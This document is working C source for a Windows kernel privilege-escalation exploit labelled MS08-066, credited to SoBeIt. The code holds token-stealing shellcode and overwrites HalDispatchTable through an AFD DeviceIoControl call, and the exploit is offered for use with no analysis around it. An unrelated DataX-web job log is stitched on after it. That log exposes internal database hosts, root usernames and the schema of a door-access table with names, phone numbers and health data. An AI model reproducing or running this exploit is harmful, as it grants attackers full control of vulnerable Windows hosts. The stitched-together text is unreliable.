ms08-066

  1. #include <stdio.h>
  2. #include <winsock2.h>
  3. #include <windows.h>
  4. #pragma comment(lib, "ws2_32.lib")
  5. #define NTSTATUS        int
  6. typedef struct _PROCESS_BASIC_INFORMATION {
  7. NTSTATUS ExitStatus;
  8. PVOID PebBaseAddress;
  9. ULONG AffinityMask;
  10. ULONG BasePriority;
  11. ULONG UniqueProcessId;
  12. ULONG InheritedFromUniqueProcessId;
  13. } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
  14. typedef struct _IMAGE_FIXUP_ENTRY {
  15. USHORT        Offset:12;
  16. USHORT        Type:4;
  17. } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
  18. typedef enum _PROCESS_IMFORMATION_CLASS {
  19. ProcessBasicInformation,
  20. ProcessQuotaLimits,
  21. ProcessIoCounters,
  22. ProcessVmCounters,
  23. ProcessTimes,
  24. ProcessBasePriority,
  25. ProcessRaisePriority,
  26. ProcessDebugPort,
  27. ProcessExceptionPort,
  28. ProcessAccessToken,
  29. ProcessLdtInformation,
  30. ProcessLdtSize,
  31. ProcessDeaultHardErrorMode,
  32. ProcessIoPortHandlers,
  33. ProcessPooledUsageAndLimits,
  34. ProcessWorkingSetWatch,
  35. ProcessUserModeIOPL,
  36. ProcessEnableAlignmentFaultFixup,
  37. ProcessPriorityClass,
  38. ProcessWx86Information,
  39. ProcessHandleCount,
  40. ProcessAffinityMask,
  41. ProcessPriorityBoost,
  42. ProcessDeviceMap,
  43. ProcessSessionInformation,
  44. ProcessForegroundInformation,
  45. ProcessWow64Information
  46. } PROCESS_INFORMATION_CLASS;
  47. typedef enum _SYSTEM_INFORMATION_CLASS {
  48. SystemBasicInformation,
  49. SystemProcessorInformation,
  50. SystemPerformanceInformation,
  51. SystemTimeOfDayInformation,
  52. SystemNotImplemented1,
  53. SystemProcessesAndThreadsInformation,
  54. SystemCallCounts,
  55. SystemConfigurationInformation,
  56. SystemProcessorTimes,
  57. SystemGlobalFlag,
  58. SystemNotImplemented2,
  59. SystemModuleInformation,
  60. SystemLockInformation,
  61. SystemNotImplemented3,
  62. SystemNotImplemented4,
  63. SystemNotImplemented5,
  64. SystemHandleInformation,
  65. SystemObjectInformation,
  66. SystemPagefileInformation,
  67. SystemInstructioEmulationCounts,
  68. SystemInvalidInfoClass1,
  69. SystemCacheInformation,
  70. SystemPoolTagInformation,
  71. SystemProcessorStatistics,
  72. SystemDpcInformation,
  73. SystemNotImplemented6,
  74. SystemLoadImage,
  75. SystemUnloadImage,
  76. SystemTimeAdjustment,
  77. SystemNotImplemented7,
  78. SystemNotImplemented8,
  79. SystemNotImplemented9,
  80. SystemCrashDumpInformation,
  81. SystemExceptionInformation,
  82. SystemCrashDumpStateInformation,
  83. SystemKernelDebuggerInformation,
  84. SystemContextSwitchInformation,
  85. SystemRegisterQuotaInformation,
  86. SystemLoadAndCallImage,
  87. SystemPrioritySeparation
  88. } SYSTEM_INFORMATION_CLASS;
  89. typedef enum _KPROFILE_SOURCE {
  90. ProfileTime,
  91. ProfileAlignmentFixup,
  92. ProfileTotalIssues,
  93. ProfilePipelineDry,
  94. ProfileLoadInstructions,
  95. ProfilePipelineFrozen,
  96. ProfileBranchInstructions,
  97. ProfileTotalNonissues,
  98. ProfileDcacheMisses,
  99. ProfileIcacheMisses,
  100. ProfileCacheMisses,
  101. ProfileBranchMispredictions,
  102. ProfileStoreInstructions,
  103. ProfileFpInstructions,
  104. ProfileIntegerInstructions,
  105. Profile2Issue,
  106. Profile3Issue,
  107. Profile4Issue,
  108. ProfileSpecialInstructions,
  109. ProfileTotalCycles,
  110. ProfileIcacheIssues,
  111. ProfileDcacheAccesses,
  112. ProfileMemoryBarrierCycles,
  113. ProfileLoadLinkedIssues,
  114. ProfileMaximum
  115. } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
  116. typedef struct _UNICODE_STRING {
  117. USHORT        Length;
  118. USHORT        MaximumLength;
  119. PWSTR        Buffer;
  120. } UNICODE_STRING, *PUNICODE_STRING;
  121. typedef struct _SECTION_BASIC_INFORMATION {
  122. PVOID BaseAddress;
  123. ULONG Attributes;
  124. LARGE_INTEGER Size;
  125. }SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;
  126. typedef struct _SYSTEM_MODULE_INFORMATION {
  127. ULONG Reserved[2];
  128. PVOID Base;
  129. ULONG Size;
  130. ULONG Flags;
  131. USHORT Index;
  132. USHORT Unknown;
  133. USHORT LoadCount;
  134. USHORT ModuleNameOffset;
  135. CHAR ImageName[256];
  136. } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  137. typedef NTSTATUS (NTAPI *ZWQUERYINTERNALPROFILE)(ULONGPULONG);
  138. typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLEULONGPVOIDULONGPULONG);
  139. typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONGPVOIDULONGPULONG);
  140. typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLEPVOID *, ULONGPULONGULONGULONG);
  141. typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID);
  142. typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOIDULONGUSHORTPULONG);
  143. ZWQUERYINTERNALPROFILE        ZwQueryIntervalProfile;
  144. ZWQUERYINFORMATIONPROCESS        ZwQueryInformationProcess;
  145. ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
  146. ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
  147. RTLIMAGENTHEADER RtlImageNtHeader;
  148. RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData;
  149. unsigned char kfunctions[64][64] =
  150. {
  151. //ntoskrnl.exe
  152. {"ZwTerminateProcess"},
  153. {"PsLookupProcessByProcessId"},
  154. {""},
  155. };
  156. unsigned char shellcode[] =
  157. "/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
  158. "/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/x64/x8b/x35"
  159. "/x38/x00/x00/x00/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
  160. "/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
  161. "/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
  162. "/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
  163. "/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
  164. "/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
  165. "/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
  166. "/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
  167. "/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
  168. "/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
  169. "/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
  170. "/xff/x90/x90/x90"
  171. "/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  172. "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  173. "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
  174. void ErrorQuit(pMsg)
  175. {
  176. printf("%sError Code:%d/n", pMsg, GetLastError());
  177. ExitProcess(0);
  178. }
  179. ULONG ComputeHash(char *ch)
  180. {
  181. ULONG ret = 0;
  182. while(*ch)
  183. {
  184. ret = ((ret << 25) | (ret >> 7)) + *ch++;
  185. }
  186. return ret;
  187. }
  188. void GetFunction()
  189. {
  190. HANDLE        hNtdll;
  191. hNtdll = LoadLibrary("ntdll.dll");
  192. if(hNtdll == NULL)
  193. ErrorQuit("LoadLibrary failed./n");
  194. ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(hNtdll, "ZwQueryIntervalProfile");
  195. if(ZwQueryIntervalProfile == NULL)
  196. ErrorQuit("GetProcAddress failed./n");
  197. ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
  198. if(ZwQueryInformationProcess == NULL)
  199. ErrorQuit("GetProcAddress failed./n");
  200. ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
  201. if(ZwQuerySystemInformation == NULL)
  202. ErrorQuit("GetProcessAddress failed./n");
  203. ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
  204. if(ZwAllocateVirtualMemory == NULL)
  205. ErrorQuit("GetProcAddress failed./n");
  206. RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
  207. if(RtlImageNtHeader == NULL)
  208. ErrorQuit("GetProcAddress failed./n");
  209. RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData");
  210. if(RtlImageDirectoryEntryToData == NULL)
  211. ErrorQuit("GetProcAddress failed./n");
  212. FreeLibrary(hNtdll);
  213. }
  214. ULONG GetKernelBase(char *KernelName)
  215. {
  216. ULONG        i, Byte, ModuleCount, KernelBase;
  217. PVOID        pBuffer;
  218. PSYSTEM_MODULE_INFORMATION        pSystemModuleInformation;
  219. PCHAR        pName;
  220. ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
  221. if((pBuffer = malloc(Byte)) == NULL)
  222. ErrorQuit("malloc failed./n");
  223. if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
  224. ErrorQuit("ZwQuerySystemInformation failed/n");
  225. ModuleCount = *(PULONG)pBuffer;
  226. pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
  227. for(i = 0; i < ModuleCount; i++)
  228. {
  229. if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
  230. {
  231. KernelBase = (ULONG)pSystemModuleInformation->Base;
  232. printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
  233. free(pBuffer);
  234. strcpy(KernelName, "ntoskrnl.exe");
  235. return KernelBase;
  236. }
  237. if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
  238. {
  239. KernelBase = (ULONG)pSystemModuleInformation->Base;
  240. printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
  241. free(pBuffer);
  242. strcpy(KernelName, "ntkrnlpa.exe");
  243. return KernelBase;
  244. }
  245. pSystemModuleInformation++;
  246. }
  247. free(pBuffer);
  248. return 0;
  249. }
  250. ULONG GetServiceTable(PVOID pImageBase, ULONG Address)
  251. {
  252. PIMAGE_NT_HEADERS        pNtHeaders;
  253. PIMAGE_BASE_RELOCATION        pBaseRelocation;
  254. PIMAGE_FIXUP_ENTRY        pFixupEntry;
  255. ULONG        RelocationTableSize = 0;
  256. ULONG        Offset, i, VirtualAddress, Rva;
  257. Offset = Address - (ULONG)pImageBase;
  258. pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase);
  259. pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize);
  260. if(pBaseRelocation == NULL)
  261. return 0;
  262. do
  263. {
  264. pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
  265. RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1;
  266. for(i = 0; i < RelocationTableSize; i++, pFixupEntry++)
  267. {
  268. if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW)
  269. {
  270. VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset;
  271. Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase;
  272. if(Rva == Offset)
  273. {
  274. if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7)
  275. return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase;
  276. }
  277. }
  278. }
  279. *(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock;
  280. while(pBaseRelocation->VirtualAddress);
  281. return 0;
  282. }
  283. int main(int argc, char* argv[])
  284. {
  285. PVOID                pDrivers[256];
  286. PVOID                pOldKernelInfo, pMapAddress = NULL;
  287. PULONG        pStoreBuffer, pShellcode, pFakeKernelInfo;
  288. PUCHAR        pRestoreBuffer, pBase, FunctionAddress;
  289. PROCESS_BASIC_INFORMATION pbi;
  290. SYSTEM_MODULE_INFORMATION        smi;
  291. SECTION_BASIC_INFORMATION sbi;
  292. KPROFILE_SOURCE        ProfileSource;
  293. OSVERSIONINFO        ovi;
  294. char                DriverName[256], KernelName[64];
  295. ULONG                Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64];
  296. ULONG                HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber;
  297. ULONG                HDTOffset, AllocationSize;
  298. ULONG                Result;
  299. HANDLE        hKernel;
  300. WSADATA        wsad;
  301. int                sockfd;
  302. struct sockaddr_in saddr;
  303. printf("/n MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit /n/n");
  304. printf("/t Create by SoBeIt. /n/n");
  305. if(argc != 1)
  306. {
  307. printf(" Usage:%s/n/n", argv[0]);
  308. return 1;
  309. }
  310. pFakeKernelInfo = (PULONG)malloc(256);
  311. GetFunction();
  312. if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
  313. ErrorQuit("ZwQueryInformationProcess failed/n");
  314. KernelBase = GetKernelBase(KernelName);
  315. if(!KernelBase)
  316. ErrorQuit("Unable to get kernel base address./n");
  317. printf("Kernel base address: %x/n", KernelBase);
  318. ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  319. if(!GetVersionEx(&ovi))
  320. ErrorQuit("GetVersionEx failed./n");
  321. if(ovi.dwMajorVersion != 5 && ovi.dwMajorVersion != 6)
  322. ErrorQuit("Not Windows NT family OS./n");
  323. printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
  324. switch(ovi.dwMinorVersion)
  325. {
  326. case 0:                                                //Windows2000
  327. SystemId = 8;
  328. TokenOffset = 0x12c;
  329. break;
  330. case 1:                                                //WindowsXP
  331. SystemId = 4;
  332. TokenOffset = 0xc8;
  333. break;
  334. case 2:                                                //Windows2003
  335. SystemId = 4;
  336. TokenOffset = 0xd8;
  337. break;
  338. default:
  339. SystemId = 4;
  340. TokenOffset = 0xc8;
  341. }
  342. hKernel = LoadLibrary(KernelName);
  343. if(hKernel == NULL)
  344. ErrorQuit("LoadLibrary failed./n");
  345. printf("Load Base:%x/n", (ULONG)hKernel);
  346. HDTOffset = (ULONG)GetProcAddress(hKernel, "HalDispatchTable");
  347. HDTOffset += KernelBase - (ULONG)hKernel;
  348. printf("HalDispatchTable Offset:%x/n", HDTOffset);
  349. HookAddress = (ULONG)(HDTOffset + 4);
  350. printf("NtQueryIntervalProfile function entry address:%x/n", HookAddress);
  351. AllocationSize = 0x1000;
  352. pStoreBuffer = (PULONG)0x7fb0;
  353. if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize,
  354. MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE))
  355. ErrorQuit("ZwAllocateVirtualMemory failed./n");
  356. pRestoreBuffer = malloc(0x100);
  357. memset(pStoreBuffer, 0x90, AllocationSize);
  358. pShellcode = (PULONG)shellcode;
  359. for(k = 0; pShellcode[k++] != 0x90cccc90; )
  360. ;
  361. for(j = 0; kfunctions[j][0] != '/x0'; j++)
  362. buf[j] = ComputeHash(kfunctions[j]);
  363. buf[j++] = pbi.InheritedFromUniqueProcessId;
  364. buf[j++] = SystemId;
  365. buf[j++] = (ULONG)pRestoreBuffer;
  366. buf[j++] = HookAddress;
  367. buf[j++] = 0x04;
  368. buf[j++] = TokenOffset;
  369. memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
  370. memcpy((PUCHAR)0x8000, shellcode, sizeof(shellcode) - 1);
  371. if(WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
  372. ErrorQuit("WSAStartup failed./n");
  373. if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  374. ErrorQuit("socket failed./n");
  375. saddr.sin_family = AF_INET;
  376. saddr.sin_port = htons(0x1bd);
  377. saddr.sin_addr.s_addr = 0x100007f;
  378. if(connect(sockfd, (struct sockaddr *)&saddr, sizeof(struct sockaddr)))
  379. ErrorQuit("connect failed./n");
  380. DeviceIoControl((HANDLE)sockfd, 0x1203F, NULL, 0, (PVOID)(HookAddress - 3), 0, &Result, NULL);
  381. ProfileSource = ProfileTotalIssues;
  382. ZwQueryIntervalProfile(ProfileSource, &Result);
  383. printf("Exploit finished./n");
  384. return 1;
  385. }
2025-05-19 10:33:54 [JobThread.run-130] <br>----------- datax-web job execute start -----------<br>----------- Param: 2025-05-19 10:33:54 [BuildCommand.buildDataXParam-100] ------------------Command parameters:-p"-DlastTime='2025-05-19%08:00:00' -DcurrentTime='2025-05-19%10:33:54'" 2025-05-19 10:33:54 [ExecutorJobHandler.execute-57] ------------------DataX process id: 2669844 2025-05-19 10:33:54 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:54 [AnalysisStatistics.analysisStatisticsLog-53] DataX (DATAX-OPENSOURCE-3.0), From Alibaba ! 2025-05-19 10:33:54 [AnalysisStatistics.analysisStatisticsLog-53] Copyright (C) 2010-2017, Alibaba Group. All Rights Reserved. 2025-05-19 10:33:54 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:54 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:54 [ProcessCallbackThread.callbackLog-186] <br>----------- datax-web job callback finish. 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.146 [main] INFO MessageSource - JVM TimeZone: GMT+08:00, Locale: zh_CN 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.148 [main] INFO MessageSource - use Locale: zh_CN timeZone: sun.util.calendar.ZoneInfo[id="GMT+08:00",offset=28800000,dstSavings=0,useDaylight=false,transitions=0,lastRule=null] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.161 [main] INFO VMInfo - VMInfo# operatingSystem class => sun.management.OperatingSystemImpl 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.167 [main] INFO Engine - the machine info => 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] osInfo: Linux amd64 4.19.90-17.ky10.x86_64 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] jvmInfo: Huawei Technologies Co., Ltd 1.8 25.242-b08 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] cpu num: 32 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] totalPhysicalMemory: -0.00G 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] freePhysicalMemory: -0.00G 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] maxFileDescriptorCount: -1 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] currentOpenFileDescriptorCount: -1 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] GC Names [PS MarkSweep, PS Scavenge] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] MEMORY_NAME | allocation_size | init_size 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] PS Eden Space | 256.00MB | 256.00MB 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] Code Cache | 240.00MB | 2.44MB 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] Compressed Class Space | 1,024.00MB | 0.00MB 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] PS Survivor Space | 42.50MB | 42.50MB 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] PS Old Gen | 683.00MB | 683.00MB 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] Metaspace | -0.00MB | 0.00MB 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] 2025-05-19 10:33:55.181 [main] INFO Engine - 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] { 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "content":[ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] { 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "reader":{ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "parameter":{ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "password":"**********", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "connection":[ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] { 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "querySql":[ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "select CONCAT(comm_code,id) as id, `uuid`, `record_time`, `open_mode`, `comm_code`, `open_object`, `name`, `phone_num`, `person_type`, `open_device`, `device_place`, `person_uuid`, `picture_url`, `open_video`, `created_by`, `created_time`, `updated_by`, `updated_time`, `del_flag`, `mczt`, `pass`, `in_out_flag`, `temp`, `temp_normal`, `extra`, `health_info`, `created_time` as GY_RKGXSJ, case when `del_flag`=2 then 1 else 0 end as GY_SFYSC from `door_open_record` where `record_time` >= '2025-05-19%08:00:00' and `record_time` < '2025-05-19%10:33:54'" 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ], 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "jdbcUrl":[ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "jdbc:mysql://172.20.20.57:8066/wuye?serverTimezone=Asia/Shanghai&useLegacyDatetimeCode=false&useSSL=false&nullNamePatternMatchesAll=true&useUnicode=true&characterEncoding=UTF-8" 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] } 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ], 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "splitPk":"", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "username":"root" 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] }, 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "name":"mysqlreader" 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] }, 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "writer":{ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "parameter":{ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "password":"**********", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "column":[ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`id`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`uuid`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`record_time`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`open_mode`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`comm_code`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`open_object`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`name`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`phone_num`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`person_type`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`open_device`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`device_place`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`person_uuid`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`picture_url`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`open_video`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`created_by`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`created_time`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`updated_by`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`updated_time`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`del_flag`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`mczt`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`pass`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`in_out_flag`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`temp`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`temp_normal`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`extra`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`health_info`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`GY_RKGXSJ`", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "`GY_SFYSC`" 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ], 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "connection":[ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] { 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "jdbcUrl":"jdbc:mysql://172.20.20.67:3306/kitty?serverTimezone=Asia/Shanghai&useLegacyDatetimeCode=false&useSSL=false&nullNamePatternMatchesAll=true&useUnicode=true&characterEncoding=UTF-8", 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "table":[ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "door_open_record" 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ] 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] } 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ], 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "username":"root" 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] }, 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "name":"mysqlwriter" 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] } 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] } 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] ], 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "setting":{ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "errorLimit":{ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "record":100, 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "percentage":0.02 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] }, 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "speed":{ 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "byte":1048576, 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] "channel":3 2025-05-19 10:33:55 [AnalysisStatistics.analysisStatisticsLog-53] } 2025-05-19 